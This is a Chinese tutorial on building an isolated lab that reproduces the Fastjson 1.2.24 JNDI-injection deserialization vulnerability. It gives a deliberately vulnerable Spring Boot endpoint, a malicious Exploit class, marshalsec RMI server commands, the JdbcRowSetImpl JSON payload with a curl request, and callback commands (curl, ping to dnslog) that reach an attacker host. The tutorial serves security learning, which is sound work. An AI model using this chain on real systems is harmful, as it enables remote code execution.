从零搭建Fastjson 1.2.24反序列化漏洞靶场:原理、实战与深度避坑
1. 项目概述:为什么我们要亲手搭建Fastjson 1.2.24靶场
在安全研究或渗透测试的学习路上,我们总会听到各种漏洞的大名,Fastjson的反序列化漏洞绝对是Java安全领域里一个绕不开的经典案例。尤其是1.2.24版本的这个“元老级”漏洞,它几乎成了检验一个安全研究者对Java反序列化理解深度的“试金石”。网上相关的分析文章和复现教程很多,但如果你只是跟着别人的教程,在现成的靶场里点几下鼠标,输入几行命令,你可能永远也搞不清楚背后到底发生了什么,更别提在真实、复杂的环境下遇到问题时该如何应对了。
这就是我决定从零开始,完整搭建一个Fastjson 1.2.24漏洞靶场的原因。这个过程远不止是“复现”一个漏洞那么简单。它意味着你需要亲手配置一个存在漏洞的Java Web环境,理解Fastjson是如何解析JSON字符串的,搞清楚JNDI注入的整个链路,还要自己搭建恶意的RMI/LDAP服务。在这个过程中,你会踩遍几乎所有新手都会踩的坑:依赖冲突、版本不对、代码编译错误、网络不通、环境配置诡异……而解决这些问题的过程,恰恰是知识从“知道”到“会用”的关键一跃。
所以,这篇内容不仅仅是一份操作手册,更是一份融合了实战踩坑经验的避坑指南。我会带你从准备一台干净的虚拟机开始,一步步搭建后端服务、编写漏洞代码、构造利用链,直到最终成功弹出计算器。无论你是刚入门Web安全的新手,还是想深入理解Java反序列化的开发者,相信这个亲手“造轮子”的过程,会让你对Fastjson漏洞有脱胎换骨的认识。
2. 靶场环境搭建:构建一个纯净的漏洞实验室
搭建靶场的第一步,是创建一个隔离、可控且可重复的实验环境。我强烈建议使用虚拟机,而不是在你的主力开发机上直接操作。这里我选择Ubuntu 20.04 LTS作为基础系统,它比较稳定,软件源也丰富。
2.1 基础系统与Java环境部署
首先,我们需要安装Java开发环境。Fastjson 1.2.24是一个相对古老的版本,它主要兼容Java 8。虽然更高版本的Java也可能运行,但为了避免不必要的兼容性问题,我们直接安装OpenJDK 8。
sudo apt update sudo apt install openjdk-8-jdk maven git -y安装完成后,通过java -version和javac -version确认版本为1.8。Maven是我们管理项目依赖的核心工具。
接下来,我们创建一个简单的Spring Boot Web应用作为我们的靶场载体。Spring Boot能快速搭建一个可运行的Web服务,让我们专注于漏洞本身,而不是Servlet容器的配置。使用Spring Initializr或者手动创建都可以,我这里为了清晰,手动创建一个最小化的结构。
创建项目目录fastjson-vuln-demo,并建立标准的Maven项目结构。关键的pom.xml文件需要引入两个核心依赖:有漏洞的Fastjson 1.2.24 和 Spring Boot Web Starter。
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.modelVersion> <groupId>com.vuln.labgroupId> <artifactId>fastjson-vuln-demoartifactId> <version>1.0-SNAPSHOTversion> <packaging>jarpackaging> <parent> <groupId>org.springframework.bootgroupId> <artifactId>spring-boot-starter-parentartifactId> <version>2.3.12.RELEASEversion> parent> <properties> <java.version>1.8java.version> properties> <dependencies> <dependency> <groupId>org.springframework.bootgroupId> <artifactId>spring-boot-starter-webartifactId> dependency> <dependency> <groupId>com.alibabagroupId> <artifactId>fastjsonartifactId> <version>1.2.24version> dependency> dependencies> <build> <plugins> <plugin> <groupId>org.springframework.bootgroupId> <artifactId>spring-boot-maven-pluginartifactId> plugin> plugins> build> project>注意:Spring Boot版本的选择:这里我选择了2.3.12.RELEASE,这是一个与Java 8兼容性较好且不算太旧的版本。不要使用Spring Boot 3.x(它要求Java 17+),也要谨慎使用2.7.x或2.6.x等较新版本,它们可能内置了更高版本的Jackson或其它JSON处理器,可能与Fastjson产生冲突或行为差异。选择一个老一点的稳定版本能减少环境变量。
2.2 编写存在漏洞的接口
环境准备好后,我们来编写一个存在Fastjson反序列化漏洞的HTTP接口。漏洞的触发点通常在于使用了JSON.parseObject()或JSON.parse()方法,并且参数中包含了攻击者可控的@type属性,该属性指定了要反序列化的类。
我们在src/main/java/com/vuln/lab下创建主应用类VulnApplication.java和一个控制器VulnController.java。
VulnApplication.java:
package com.vuln.lab; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; @SpringBootApplication public class VulnApplication { public static void main(String[] args) { SpringApplication.run(VulnApplication.class, args); } }VulnController.java:
package com.vuln.lab.controller; import com.alibaba.fastjson.JSON; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RestController; @RestController public class VulnController { @PostMapping("/fastjson") public String parseJson(@RequestBody String data) { try { // 漏洞点:直接解析用户传入的JSON字符串,未做任何过滤 Object obj = JSON.parse(data); return "Parsed successfully: " + obj.getClass(); } catch (Exception e) { return "Parse error: " + e.getMessage(); } } }这个接口非常简单,它接收一个POST请求,请求体是JSON字符串,然后直接调用JSON.parse()进行解析。这里就是我们的漏洞入口。使用@PostMapping注解明确这是一个POST接口,更符合真实场景中接收JSON数据的API设计。
编写完成后,在项目根目录下执行mvn clean package进行编译打包。如果一切顺利,会在target目录下生成一个fastjson-vuln-demo-1.0-SNAPSHOT.jar文件。使用java -jar target/fastjson-vuln-demo-1.0-SNAPSHOT.jar启动应用,默认会在8080端口监听。
实操心得:依赖冲突排查:这是搭建过程中最容易出问题的一步。你可能会遇到各种
ClassNotFoundException或NoSuchMethodError。首先检查你的Maven本地仓库(~/.m2/repository)里下载的Fastjson 1.2.24的jar包是否完整。最彻底的办法是删除整个com/alibaba/fastjson目录,让Maven重新下载。其次,使用mvn dependency:tree命令查看依赖树,确认没有其它依赖(比如Spring Boot自带的Jackson)引入了更高版本的Fastjson,导致版本被覆盖。如果存在冲突,可以在pom.xml的Fastjson依赖里加上 `` 来排除传递性依赖。
3. 漏洞原理深度解析:@type与JNDI注入的致命组合
在成功启动靶场后,我们先不急于攻击,而是必须搞清楚Fastjson 1.2.24到底为什么会被攻破。知其然更要知其所以然,这样才能举一反三。
3.1 Fastjson反序列化机制与@type属性
Fastjson在反序列化时,有一个非常关键的特性:autoType。当解析JSON字符串时,如果字符串中包含了@type这个属性,Fastjson就会尝试根据@type指定的全限定类名,去实例化这个类的对象,并将JSON中的数据填充到对象属性中。
例如,一个正常的JSON:{"name":"test", "age":20},经过JSON.parseObject(jsonString, User.class)会被反序列化为一个User对象。 而一个恶意的JSON可能是:{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://attacker.com/exp", "autoCommit":true}。
当Fastjson 1.2.24(在默认配置下)遇到这个JSON时,它会:
- 看到
@type属性,值为com.sun.rowset.JdbcRowSetImpl。 - 利用Java的反射机制,尝试加载并实例化这个类。
- 将后续的键值对视为该对象的属性,调用对应的setter方法进行赋值。这里就会调用
setDataSourceName(“ldap://attacker.com/exp”)和setAutoCommit(true)。
问题就出在JdbcRowSetImpl这个类上。它是Java标准库(rt.jar)中的一个类,用于数据库连接。它的setAutoCommit()方法在内部会尝试使用dataSourceName去建立连接。如果dataSourceName是一个LDAP或RMI URL,它就会触发JNDI查询。
3.2 JNDI注入的攻击链路
JNDI(Java Naming and Directory Interface)是Java的一个API,用于访问命名和目录服务,比如LDAP、RMI、DNS等。JNDI注入漏洞的核心在于,JNDI可以动态加载远程的类。
完整的攻击链路如下:
- 攻击者:搭建一个恶意的RMI或LDAP服务器,该服务器会响应客户端的查询,并返回一个指向攻击者HTTP服务器的引用,该引用指向一个编译好的恶意Java类文件(.class)。
- 受害者应用(我们的靶场):使用有漏洞的Fastjson版本,反序列化了攻击者构造的包含恶意
@type和dataSourceName的JSON。 - 触发:在反序列化过程中,
JdbcRowSetImpl被实例化,setAutoCommit(true)被调用,该方法内部发起一个JNDI查询,去连接dataSourceName指定的地址(即攻击者的RMI/LDAP服务器)。 - 加载恶意类:受害者应用从攻击者的RMI/LDAP服务器获取到指向恶意类的引用,然后从攻击者的HTTP服务器下载并加载这个恶意类。
- 代码执行:恶意类在静态代码块或构造函数中包含了攻击代码(如
Runtime.getRuntime().exec(“calc”)),在类被加载时立即执行。
这个链路成功的关键在于Java版本。在Java 8u121、7u131、6u141之前的版本中,JNDI默认支持从远程地址加载类。在此之后的版本中,Oracle增加了com.sun.jndi.rmi.object.trustURLCodebase和com.sun.jndi.ldap.object.trustURLCodebase等安全属性,默认值变为false,禁止从远程Codebase加载类,从而在很大程度上缓解了此类攻击。这也是为什么我们靶场环境必须使用早期JDK版本(如8u102)的原因。
深度思考:为什么是JdbcRowSetImpl?因为它是一个存在于基础JDK中的类,无需额外依赖;它的
setAutoCommit方法会触发JNDI查询,且参数可控。这是安全研究者找到的一条“完美”的利用链(Gadget Chain)。类似的链还有基于TemplatesImpl的利用,但那条链构造更复杂,对依赖有要求。JdbcRowSetImpl这条链因其通用性和简洁性,成为了Fastjson 1.2.24漏洞最经典的利用方式。
4. 攻击环境准备:搭建恶意RMI与HTTP服务
理解了原理,我们就需要模拟攻击者的环境。我们需要两个服务器:一个恶意的RMI服务器(用于响应JNDI查询)和一个HTTP服务器(用于托管恶意类文件)。
4.1 编译并启动恶意RMI服务器
我们使用一个广泛流传的、开源的JNDI注入利用工具,例如marshalsec。它可以帮助我们快速启动一个恶意的RMI服务器。
首先,我们需要下载并编译marshalsec。
git clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests编译过程可能需要几分钟。成功后,在target目录下会生成marshalsec-0.0.3-SNAPSHOT-all.jar文件。
接下来,我们编写一个最简单的恶意类Exploit.class。这个类的唯一作用就是在被加载时执行命令。我们将其编译成class文件。
Exploit.java:
public class Exploit { static { try { // 这里以Linux系统为例,弹出计算器命令是`gnome-calculator`,Windows下可改为`calc` Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "gnome-calculator"}); } catch (Exception e) { e.printStackTrace(); } } }使用javac Exploit.java进行编译,得到Exploit.class。
现在,我们启动marshalsec提供的RMI服务器,并让它指向我们托管恶意类的HTTP服务器地址。假设我们攻击者机器的IP是192.168.1.100,HTTP服务器将运行在8088端口。
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.100:8088/#Exploit" 1099这条命令的含义是:启动一个监听在1099端口的RMI服务器。当有客户端(我们的靶场应用)连接它并查询时,它会返回一个引用,告诉客户端去http://192.168.1.100:8088/下载名为Exploit的类。
4.2 启动HTTP服务器托管恶意类
我们需要在一个能被靶场虚拟机访问到的位置,启动一个简单的HTTP服务器,来提供刚刚编译好的Exploit.class文件。使用Python可以快速完成。
在存放Exploit.class文件的目录下,执行:
python3 -m http.server 8088这样,一个简单的HTTP文件服务器就在8088端口启动了。确保防火墙规则允许此端口的访问。
避坑指南:网络连通性与地址问题:这是复现失败的最高频原因,务必仔细检查。
- IP地址:上述命令中的
192.168.1.100必须替换为你运行RMI服务器和HTTP服务器的物理机(攻击机)在虚拟机网络中的真实IP。如果靶场虚拟机使用NAT模式,主机IP可能不是这个。在Linux主机上可以用ip addr或ifconfig查看,Windows上用ipconfig查看。虚拟机需要能ping通这个IP。- 端口开放:确保1099(RMI)和8088(HTTP)端口在主机防火墙上是开放的,或者直接临时关闭主机防火墙进行测试。
- 虚拟机网络模式:建议将虚拟机网络设置为“桥接模式”(Bridged),这样虚拟机和主机就在同一个局域网段,像两台真实机器一样互访,能避免很多NAT模式下的网络怪问题。
- 命令执行路径:
Runtime.getRuntime().exec在某些复杂环境下(如路径包含空格、需要终端)可能执行失败。我们的示例中使用了new String[]{“/bin/bash”, “-c”, “gnome-calculator”}来显式指定shell和命令,在Ubuntu桌面环境下更可靠。如果测试环境没有图形界面,可以换成touch /tmp/success这样的命令来验证执行成功。
5. 漏洞复现实战:构造Payload并发起攻击
万事俱备,只欠东风。现在,靶场在运行(8080端口),恶意RMI服务器在运行(1099端口),HTTP文件服务器在运行(8088端口)。是时候发起攻击了。
5.1 构造攻击Payload
我们的目标是通过向靶场的/fastjson接口发送一个POST请求,请求体是一个精心构造的JSON字符串,触发反序列化漏洞。
根据前面的原理分析,我们需要构造一个JSON,其@type指定为com.sun.rowset.JdbcRowSetImpl,并设置dataSourceName为我们的恶意RMI服务器地址,同时设置autoCommit为true。
完整的Payload如下:
{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.1.100:1099/Exploit", "autoCommit":true }请注意,dataSourceName的值是rmi://[你的RMI服务器IP]:1099/Exploit。后面的/Exploit是marshalsec命令中指定的引用名,需要保持一致。
5.2 使用CURL发送攻击请求
我们可以使用curl命令来发送这个POST请求。在攻击者机器(或同一网络内能访问靶场的任何机器)上执行:
curl -X POST http://靶场虚拟机IP:8080/fastjson \ -H "Content-Type: application/json" \ -d '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.1.100:1099/Exploit","autoCommit":true}'如果一切配置正确,你应该会观察到:
curl命令可能返回一个“Parsed successfully”的响应,或者因反序列化后对象转换异常而返回一个错误信息(这没关系,漏洞触发点在反序列化过程中,不在后续处理)。- 在运行恶意RMI服务器的终端,你会看到有来自靶场虚拟机的连接日志。
- 在运行靶场应用的终端,你可能会看到一些关于JNDI查询的异常堆栈(如
javax.naming.CommunicationException等),这是正常过程的一部分。 - 最关键的一步:如果靶场虚拟机是有图形界面的Ubuntu,你应该会看到计算器程序被成功弹出!这证明我们的恶意代码
Runtime.getRuntime().exec(“gnome-calculator”)已经成功在靶场服务器上执行。
5.3 无回显命令执行的验证
在实际的渗透测试或漏洞验证中,目标服务器通常没有图形界面,弹出计算器是不可见的。我们需要一种方式来验证命令是否真的执行了。一个常见的方法是执行一个能产生外部网络交互或内部状态变化的命令。
- DNSLog验证:让靶场服务器向一个由我们控制的域名发起DNS查询。我们可以使用公开的DNSLog平台(如
dnslog.cn)获取一个临时子域名,然后在Payload中执行ping或curl命令访问这个子域名。如果平台收到DNS解析记录,则证明命令执行成功。- 修改
Exploit.java中的命令为:Runtime.getRuntime().exec(new String[]{“/bin/bash”, “-c”, “ping -c 1 your-subdomain.dnslog.cn”})
- 修改
- HTTP请求验证:让靶场服务器向我们的HTTP服务器发起一个HTTP请求。我们可以在HTTP服务器(Python的
http.server)的访问日志中看到记录。- 修改命令为:
Runtime.getRuntime().exec(new String[]{“/bin/bash”, “-c”, “curl http://192.168.1.100:8088/”})或使用wget。
- 修改命令为:
- 文件操作验证:在靶场服务器上创建一个文件。这是最直接的方式,但需要你能登录到靶场服务器去检查。
- 修改命令为:
Runtime.getRuntime().exec(new String[]{“/bin/bash”, “-c”, “touch /tmp/fastjson_pwned”})。攻击后,登录靶场虚拟机,检查/tmp/fastjson_pwned文件是否存在。
- 修改命令为:
实操心得:Payload编码与Content-Type:在真实攻击中,Payload可能需要通过Web表单或其他方式提交,有时会遇到特殊字符(如双引号)被转义的问题。一个技巧是将整个JSON Payload进行Base64或URL编码。另外,确保请求头
Content-Type: application/json被正确设置,否则Spring Boot可能无法正确解析请求体。如果使用浏览器插件或Burp Suite等工具重放请求,要特别注意这一点。
6. 深度排查与常见问题解决实录
即使按照步骤操作,第一次复现就成功的人也是少数。下面我整理了在搭建和复现过程中,我自己和学员们最常遇到的“坑”及其解决方案。
6.1 漏洞未触发:无任何反应
- 症状:发送Payload后,靶场应用无任何异常日志,RMI服务器无连接,计算器没弹出。
- 排查思路:
- 检查Fastjson版本:这是最可能的原因。确认你的
pom.xml中Fastjson版本确实是1.2.24,并且通过mvn dependency:tree确认没有其他依赖引入更高版本的Fastjson覆盖它。高版本Fastjson默认关闭了autoType支持。 - 检查Java版本:在靶场应用启动时,通过日志确认Java版本是8u121/7u131/6u141 之前的版本。可以使用
java -version详细查看。如果版本过高,JNDI远程加载类功能被默认禁用。解决方案是安装指定低版本JDK(如8u102),并确保JAVA_HOME和PATH指向它。 - 检查网络连通性:这是第二大常见原因。从靶场虚拟机
ping你的攻击机IP(运行RMI服务的机器),确保能通。同时,在攻击机上用nc -zv [靶场IP] 8080测试靶场应用的8080端口是否开放。 - 检查Payload格式:确保JSON格式完全正确,没有多余的空格或换行符(除非做了处理)。特别是
@type和dataSourceName的拼写。可以先用一个简单的{“name”:”test”}测试接口是否正常工作。 - 检查RMI服务:确认
marshalsec的RMI服务器是否成功启动在1099端口(netstat -tlnp | grep 1099)。启动命令中的HTTP地址和端口必须与托管Exploit.class的HTTP服务器地址一致。
- 检查Fastjson版本:这是最可能的原因。确认你的
6.2 RMI服务器有连接,但命令未执行
- 症状:RMI服务器终端显示收到了来自靶场的连接,但恶意HTTP服务器没有收到下载
Exploit.class的请求,或者收到了请求但命令没执行。 - 排查思路:
- 检查HTTP服务器:确认Python的HTTP服务器(8088端口)正在运行,并且
Exploit.class文件就在启动HTTP服务器的当前目录下。访问http://你的IP:8088/Exploit.class应该能直接下载该文件。 - 检查恶意类编译:确认
Exploit.java是用与靶场环境相同或更低版本的JDK编译的。用高版本JDK编译的class文件可能在低版本JVM上无法加载。最好就在靶场虚拟机用的JDK 8环境下编译。 - 检查命令本身:你的
Exploit.class中的命令可能在目标环境上不存在或执行失败。例如,在无图形界面的服务器上执行gnome-calculator肯定会失败。换成创建文件、发送HTTP/DNS请求等通用性更高的命令进行测试。 - 查看靶场应用日志:靶场应用在尝试加载远程类时,可能会抛出
ClassNotFoundException,NoClassDefFoundError或安全相关的异常(如AccessControlException)。仔细查看Spring Boot应用启动后的控制台日志,里面通常包含了详细的错误信息。
- 检查HTTP服务器:确认Python的HTTP服务器(8088端口)正在运行,并且
6.3 遇到奇怪的异常或错误
com.alibaba.fastjson.JSONException: autoType is not support:- 原因:你使用的Fastjson版本高于1.2.25,或者虽然是1.2.24但通过代码或配置手动关闭了
autoType支持。 - 解决:绝对确保依赖是1.2.24。检查代码中是否有
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);这样的语句。
- 原因:你使用的Fastjson版本高于1.2.25,或者虽然是1.2.24但通过代码或配置手动关闭了
java.lang.ClassNotFoundException: com.sun.rowset.JdbcRowSetImpl:- 原因:这个类存在于
rt.jar中,通常不会找不到。如果出现,可能是极端情况下的类加载器问题,或者你错误地写错了类名。确保类名拼写完全正确。
- 原因:这个类存在于
javax.naming.CommunicationException: Could not obtain connection to any of these urls:- 原因:靶场应用无法连接到你的RMI服务器地址。这是典型的网络问题。按照6.1中的网络连通性检查步骤处理。
- Spring Boot应用启动失败,报端口占用或其他依赖错误:
- 原因:8080端口可能被其他程序占用,或者Maven依赖下载不完整。
- 解决:用
lsof -i:8080或netstat -tlnp | grep 8080查看端口占用情况,终止占用进程或修改application.properties中的server.port配置。对于依赖问题,删除~/.m2/repository中对应的依赖目录,重新执行mvn clean compile。
6.4 进阶排查工具与技巧
- 使用Burp Suite或Postman:代替
curl发送请求,可以更方便地修改和重放Payload,查看原始请求和响应。 - 开启详细日志:在Spring Boot的
application.properties中添加logging.level.com.vuln.lab=DEBUG,可以打印更详细的控制器层日志。 - 在恶意类中添加日志:修改
Exploit.java,在静态代码块中除了执行命令,也向一个文件或标准输出打印一行日志,便于确认类是否被加载。
编译后,观察靶场应用的控制台输出(如果它有输出到控制台的话)。public class Exploit { static { try { System.out.println("[+] Exploit class loaded!"); Runtime.getRuntime().exec(...); } catch (Exception e) { e.printStackTrace(); } } } - 使用Wireshark抓包:如果你对网络协议比较熟悉,可以在攻击机或靶场虚拟机上使用Wireshark抓包,过滤
tcp.port == 1099或tcp.port == 8088,直观地看到JNDI查询和HTTP下载class文件的网络流量,这是最权威的验证方式。
整个复现过程就像一次精密的外科手术,任何一个环节的微小失误都可能导致失败。但正是通过解决这些问题,你才会对Fastjson反序列化、JNDI注入、Java类加载机制、网络通信有刻骨铭心的理解。这份避坑指南,希望能帮你扫清障碍,把注意力集中在漏洞原理本身。当你最终看到计算器弹窗或者/tmp/success文件被创建的那一刻,你会觉得这一切的折腾都是值得的。
